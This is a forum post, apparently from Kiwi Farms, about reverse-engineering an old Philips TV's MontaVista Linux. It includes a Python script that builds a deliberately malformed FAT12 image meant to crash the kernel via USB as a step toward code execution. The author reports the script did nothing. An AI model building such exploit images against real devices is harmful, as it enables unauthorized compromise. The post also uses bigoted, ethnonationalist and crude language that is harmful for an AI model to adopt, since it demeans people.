ProudSkibidiTolietAryan
kiwifarms.net
- Joined
- Apr 18, 2025
So thats currently where im at. Ive tried debian and a bunch of others but im deciding what I should use(I have already decided) that can load modules so we can get further and maybe automate my dev environment a bit more.

Gotten further with emulating the main tv. so that is good.
Im using a custom module that i whipped up that will emulate the first device shmemipc.
According to ghirda THESE are the codes that I need to look for.
Code:
0x40045302 belongs to shmemipc_raiseInterrupt
0x40045312 belongs to shmemipc_setPagesUncached
0x40045311 belongs to shmemipc_setPagesCached
0x40045314 belongs to shmemipc_cacheInvalidate
0x40045301 belongs to shmemipc_registerIntHandler
0x40045313 belongs to shmemipc_cacheFlush
ive implemented all of these and while some are very barebones because I cant figure out EXACTLY how it works most of the functions I emulated DO work.

Now its able to get alot further!
Ive automated more of my workflow with sh scripts to update my rootfs on the fly and also found a copy of strace for mipsel. Which is a JACKPOT.
Anyways what im really hoping for is that I can get a SSH script from the TV, If I can have a running working version of the TV I can see the layout of dev devices that im trying to implement and also see the typical logs that get sent and also directly poke the phillips app. Which would help greatly in reverse engineering.
The thing is like we talked before this tv has hidden usb network drivers.
Code:
time 6
# If debug build, then spawn the init from debug and let the user
# Mount the pseudo file systems
launch /philips/tools/disableamalive
mount rw proc /proc /proc
mount rw sysfs sysfs /sys
mount rw tmpfs tmpfs /dev/shm
mount rw devpts devpts /dev/pts
#
mount rw jffs2 /dev/mtdblock6 /mnt/jffs0
mount ro jffs2 /dev/mtdblock7 /mnt/jffs1
time 7
echo "Launching tv app"
launch /philips/apps/philips
sleep 7
# Load the generic kernel modules
insmod /philips/modules/usbcore.ko
insmod /philips/modules/ohci-hcd.ko
insmod /philips/modules/ehci-hcd.ko
insmod /philips/modules/usb-storage.ko
#insmod /philips/modules/usbnet.ko
#insmod /philips/modules/mcs7830.ko
#insmod /philips/modules/usbserial.ko
#insmod /philips/modules/ftdi_sio.ko
#insmod /philips/modules/usbnet.ko
This means that this TV most likely supports a USB 2.0 ethernet adapter

Well not sure if THAT exact model would work but it should give you a basic idea of what im talking about.
But as you can see its commented out.
So what now?
Well maybe we can find something in the service menus,
if you do not know Sony and most other tv manufactors have service menus where you can change a shit ton of settings. These can be accessed by

Here is what it looks like according to some YouTube guy

But oh no, I checked the phillips application and yeah there is a service menu which i knew because its on EVERY SINGLE sony tv, but what I feared the most was true, every single keyword I serached for in ghirda related to network, insmod, or anything that might enable these hidden network modules were nowhere to be found.
So I got out the TV just to confirm and as I thought.... No literally nothing related to that was there.
So I guess this is it... Without a running binary and running system to confirm how things work. Emulating this is going to be impossible. I guess its truly over.
Or is it?
The thing is that all this back service port does is mount the USB drive, but that might be enough for us to do a exploit that can allow us to do RCE without no SSHD. I know from the MOTD and common sense its a really old version of linux.
I asked grok for any old exploits that I could use and I was able to find one that COULD theoretically work.
If you guys do not know there is a exploit you can do on OLD linux kernels at the time where you have a Vfat usb be named something extremely long and it will cause a buffer overflow and can be used to do RCE or just straight up crash the system with a OOPS. Now for testing reasons im going to first do the easier thing of making it crash first and see if that works, than ill try doing RCE stuff.
Alright so were going to craft a malformed usb on our computer to put into the TV. Lets start. Oh wait no where are my coding manners? We need to give this a operation name. How about Autistic Ethnostate, that sounds and reflects the people that do and read this stuff(me and you awesome guys)
First lets get a VFAT image
Code:
dd if=/dev/zero of=exploit.img bs=1M count=64 # 64MB image
mkfs.vfat -F 32 -n "EXPLOIT" exploit.img
Alright now I asked grok to generate me a python script because im the laziest piece of shit on the planet and while thats doing its thing lets get the USB,
Now this was previously a .. manjaro usb... oh wow why the hell would I have manjaro usb? Honestly I do not know, its from like 2023 but fuck it should be good enough.
Code:
import struct
# Create a 1MB image file
image_size = 1024 * 1024 # 1MB
with open('bad_fat.img', 'wb') as f:
f.write(b'\x00' * image_size)
# Boot sector at offset 0 (512 bytes)
boot_sector = bytearray(512)
# Standard FAT12 boot sector header
boot_sector[0:3] = b'\xeb\x3c\x90' # Jump instruction
boot_sector[3:11] = b'MSDOS5.0 ' # OEM name
boot_sector[11] = 0x20 # Bytes per sector (512, little-endian: 0x0200)
boot_sector[12] = 0x02
boot_sector[13] = 0x01 # Sectors per cluster = 1 (normal, but we'll change)
boot_sector[14:16] = struct.pack('<H', 1) # Reserved sectors = 1
boot_sector[16] = 0x02 # Number of FATs = 2
boot_sector[17:19] = struct.pack('<H', 224) # Root dir entries = 224
boot_sector[19] = 0xf0 # Media descriptor = 0xF0
boot_sector[20:22] = struct.pack('<H', 112) # Sectors per FAT = 112 (normal)
boot_sector[22:24] = struct.pack('<H', 1440) # Sectors per track = 9*160 = 1440 for floppy-like
boot_sector[24:26] = struct.pack('<H', 2) # Heads = 2
boot_sector[26:28] = struct.pack('<I', 0) # Hidden sectors = 0
boot_sector[28:30] = struct.pack('<H', 2880) # Total sectors = 2880 (1.44MB floppy)
# Now make it malformed:
boot_sector[13] = 0x00 # Sectors per cluster = 0 (invalid, should error)
boot_sector[20] = 0xFF # Make FAT sectors huge (0xFFFF = 65535, potential overflow with 2 FATs)
boot_sector[21] = 0xFF
# FS info (end of boot sector)
boot_sector[510:512] = b'\x55\xaa' # Boot signature
with open('bad_fat.img', 'r+b') as f:
f.write(boot_sector)
# Write FSINFO sector at offset 1 * 512 (reserved)
fsinfo = bytearray(512)
fsinfo[0:4] = b'FSIn' # FSINFO signature
fsinfo[484:488] = b'FsIn' # Backup signature
fsinfo[488] = 0xFF # Free clusters (malformed)
fsinfo[489:492] = b'\xFF\xFF\xFF'
fsinfo[492] = 2 # Next free cluster
fsinfo[493:496] = b'\x00\x00\x02'
fsinfo[510:512] = b'\x00\x00' # No boot sig for FSINFO
with open('bad_fat.img', 'r+b') as f:
f.seek(512)
f.write(fsinfo)
# Write a minimal FAT table at offset 1KB (after reserved)
fat1 = bytearray(512)
fat1[0] = 0xF0 # Media ID
fat1[1] = 0xFF # End of root dir chain
fat1[3] = 0xFF # Bad entry to potentially oops on read
with open('bad_fat.img', 'r+b') as f:
f.seek(1024)
f.write(fat1)
print("Malformed FAT12 image created: bad_fat.img (1MB)")

Oh yeah
Now all I have to do is dd this to a usb, and then insert that USB into the TV. If it shows a OOPS on screen which is doubtful OR if when we plug it in everything freezes we know that we are in luck.
I got it dd'd I got everything we need, there is only ONE thing left.
The final test.... Will it crash the TV. if it does it is vulnerable to RCE
ALRIGHT I have the results here, the final results..
Prepare yourself,..
You feel it don't you.. that anticipation, maybe even your dicks a little hard... Alright so I can say that with 100% confidence that it 100-

Did absolutely fucking nothing.
This is the time where I ask you guys for help.
The kernel is a "MontaVista(R) Linux(R) Professional Edition 4.0 (0501140)." and im wanting to know why it did not work.
Here is the main rootfs that it uses that contains the binary and startup script that gets ran.
Here is what im hoping for,
A filesystem you guys can send or make like a vfat or img image that i can DD to a usb and plug in that will crash It. maybe we need more exploits and fuckery, maybe I did not add enough zeors.
Attachments
Last edited:















